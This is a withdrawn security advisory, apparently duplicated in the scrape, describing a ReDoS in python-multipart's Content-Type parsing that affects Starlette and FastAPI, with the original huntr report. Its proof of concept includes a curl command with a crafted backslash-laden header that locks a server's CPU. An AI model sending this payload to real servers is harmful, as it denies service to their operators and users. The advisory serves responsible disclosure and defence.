Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart
uses a Regular Expression to parse the HTTP Content-Type
header, including options.
An attacker could send a custom-made Content-Type
option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart
.
Details
A regular HTTP Content-Type
header could look like:
Content-Type: text/html; charset=utf-8
python-multipart
parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
PoC
Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the Request
is enough:
# main.py
from starlette.requests import Request
from starlette.responses import JSONResponse
async def app(scope, receive, send):
assert scope["type"] == "http"
request = Request(scope, receive)
data = await request.form()
response_data = {}
for key in data:
print(key, data.getlist(key))
response_data[key] = data.getlist(key)
response = JSONResponse(response_data)
await response(scope, receive, send)
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C
as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461
, then you can kill it (forcefully, with -9
) with:
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart
. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I'm running the above with uvicorn with the following command:
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
params.py L586
### References
- https://github.com/encode/starlette/security/advisories/
GHSA-93gm-qmq6-w238
- https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5
- https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data,
python-multipart
uses a Regular Expression to parse the HTTPContent-Type
header, including options.An attacker could send a custom-made
Content-Type
option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with
python-multipart
.Details
A regular HTTP
Content-Type
header could look like:python-multipart
parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74A custom option could be made and sent to the server to break it with:
PoC
Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the
Request
is enough:Then start it with:
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with
Ctrl+C
as it can't handle the signal.To stop it, first check the process ID running Uvicorn:
In this case, the process ID was
59461
, then you can kill it (forcefully, with-9
) with:$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using
python-multipart
. This way it also affects other libraries using Starlette, like FastAPI.Original Report
This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
I'm running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
params.py L586